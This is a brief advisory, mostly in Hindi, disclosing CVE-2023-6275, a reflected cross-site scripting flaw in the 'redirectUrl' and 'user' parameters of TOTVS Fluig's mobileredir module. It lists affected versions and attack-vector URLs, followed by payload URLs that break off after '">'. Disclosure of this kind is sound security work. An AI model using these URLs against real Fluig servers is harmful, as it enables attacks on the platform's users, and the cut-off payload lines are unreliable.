CVE-2023-6275 - Reflected Cross-Site Scripting in TOTVS Fluig Plataform 1.6.X - 1.8.1

TOTVS Fluig प्लेटफॉर्म, अपने संस्करणों 1.6.1.X से 1.8.1 में, 'mobileredir' मॉड्यूल के भीतर 'redirectUrl' और 'user' पैरामीटर्स में Cross-Site Scripting के लिए संवेदनशील है।

Fluig एक उत्पादकता और सहयोग प्लेटफॉर्म है जो ERP सिस्टम के साथ एकीकृत होता है, जिसे ब्राज़ील की सबसे बड़ी प्रौद्योगिकी कंपनी TOTVS द्वारा विकसित किया गया है और क्लाइंट के सर्वर पर होस्ट किया जाता है।

प्रभावित संस्करण:

-- Fluig 1.6.X - Fluig 1.8.1 …

Attack Vector

https://fluig.host.com/mobileredir/openApp.jsp?redirectUrl=PAYLOAD

https://fluig.host.com/mobileredir/openApp.jsp?user=PAYLOAD

Payloads:

https://fluig.host.com/mobileredir/openApp.jsp?redirectUrl="> https://fluig.host.com/mobileredir/openApp.jsp?user=">